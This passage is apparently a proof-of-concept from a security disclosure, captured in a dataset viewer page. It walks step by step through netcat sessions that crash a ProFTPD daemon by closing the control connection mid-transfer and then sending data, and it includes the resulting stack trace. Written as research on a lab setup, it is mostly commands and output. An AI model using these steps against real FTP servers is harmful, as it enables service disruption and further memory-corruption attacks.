text stringlengths 0 1.99k |
|---|
In my setup I changed default port to 2121 and created a user called poc. |
Go to basic.conf file and change the Port value to: |
Port 2121 |
Now, open a new shell (let's call this shell 2), netcat to FTP command |
port and issue FTP login commands: |
$ nc -Cv 127.0.0.1 2121 |
Connection to 127.0.0.1 2121 port [tcp/iprop] succeeded! |
220 ProFTPD Server (ProFTPD Default Installation) [127.0.0.1] |
USER poc |
331 Password required for poc |
PASS TretaTretaTretinha |
230 User poc logged in |
Now we need to start a data transfer. Since we want to have control over |
the data, we could use STOU and STOR commands. However, due to the other |
out-of-bounds read vulnerability, according to my tests, STOU is not a good |
choice because: |
a) it will mess up with the bounds and our exploitation; |
b) we don't have control over the filename - this will be required if |
you need to upload data into an existing file, in case you don't |
have the permissions to create a new one. |
So let's use STOR instead, but first let's put FTP in passive mode: |
PASV |
227 Entering Passive Mode (127,0,0,1,147,87). |
The FTP data port to connect to is an unsigned short int (2-byte in size). |
The formula to get port number is: X*256+Y. Open gdb and try it yourself: |
gef➤ p/d 147*256+87 |
$4 = 37719 |
So in this case our FTP data port is 37719. Now open shell 3 and type: |
$ nc -vl 127.0.0.1 $((147*256+87)) |
Connection to 127.0.0.1 37719 port [tcp/iprop] succeeded! |
Now go back to shell 2 and issue the following: |
STOR /tmp/blah.txt |
150 Opening ASCII mode data connection for /tmp/blah.txt |
At this moment, our FTP data connection is opened at shell 3, and waiting |
for some data. Let's hold it for a while. Go back to shell 2 and issue some |
fake commands: |
1111 AAAAAAAAAAAAAAAAAAAAAAA |
2222 BBBBBBBBBBBBBBBBBBBBBBB |
3333 CCCCCCCCCCCCCCCCCCCCCCC |
^C |
$ |
Notice that after 3 fake commands I pressed ctrl+c to close the FTP control |
connection, so we have no more control over this connection. |
Now, go back to shell 3 and send some data: |
$ nc -Cv localhost $((147*256+87)) |
Connection to localhost 37719 port [tcp/*] succeeded! |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC |
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD |
nc: write failed (0/2): Broken pipe |
$ |
As you can see, the connection was closed by remote host after some data |
sent and a crash on ProFTPd daemon happened: |
-----BEGIN STACK TRACE----- |
... [0] proftpd: poc - localhost: IDLE(+0x215cd) [0x55c9806715cd] |
... [1] proftpd: poc - localhost: IDLE(+0x215cd) [0x55c9806715cd] |
... [2] proftpd: poc - localhost: IDLE(palloc+0x2c) [0x55c9806716b0] |
... [3] proftpd: poc - localhost: IDLE(pstrdup+0x5b) [0x55c980673409] |
... [4] proftpd: poc - localhost: IDLE(pr_response_set_pool+0x53) [0x55..] |
... [5] proftpd: poc - localhost: IDLE(pr_cmd_dispatch_phase+0xe4) [0x5..] |
... [6] proftpd: poc - localhost: IDLE(+0xa64e9) [0x55c9806f64e9] |
... [7] proftpd: poc - localhost: IDLE(pr_event_generate+0x20e) [0x55c9..] |
... [8] proftpd: poc - localhost: IDLE(+0x6ce75) [0x55c9806bce75] |
... [9] proftpd: poc - localhost: IDLE(pr_session_end+0x20) [0x55c9806b..] |
... [10] proftpd: poc - localhost: IDLE(pr_session_disconnect+0xaf) [0x..] |
... [11] proftpd: poc - localhost: IDLE(+0x527cf) [0x55c9806a27cf] |
... [12] proftpd: poc - localhost: IDLE(pr_data_xfer+0x68) [0x55c9806a2..] |
... [13] proftpd: poc - localhost: IDLE(+0x9fb13) [0x55c9806efb13] |
... [14] proftpd: poc - localhost: IDLE(pr_module_call+0x9d) [0x55c9806..] |
... [15] proftpd: poc - localhost: IDLE(+0x1b8f2) [0x55c98066b8f2] |
... [16] proftpd: poc - localhost: IDLE(pr_cmd_dispatch_phase+0x2dc) [0..] |
... [17] proftpd: poc - localhost: IDLE(pr_cmd_dispatch+0x26) [0x55c980..] |
... [18] proftpd: poc - localhost: IDLE(+0x1cbad) [0x55c98066cbad] |
... [19] proftpd: poc - localhost: IDLE(+0x1decd) [0x55c98066decd] |
... [20] proftpd: poc - localhost: IDLE(+0x1e6f4) [0x55c98066e6f4] |
... [21] proftpd: poc - localhost: IDLE(+0x1eb5a) [0x55c98066eb5a] |
... [22] proftpd: poc - localhost: IDLE(main+0x937) [0x55c98066f952] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.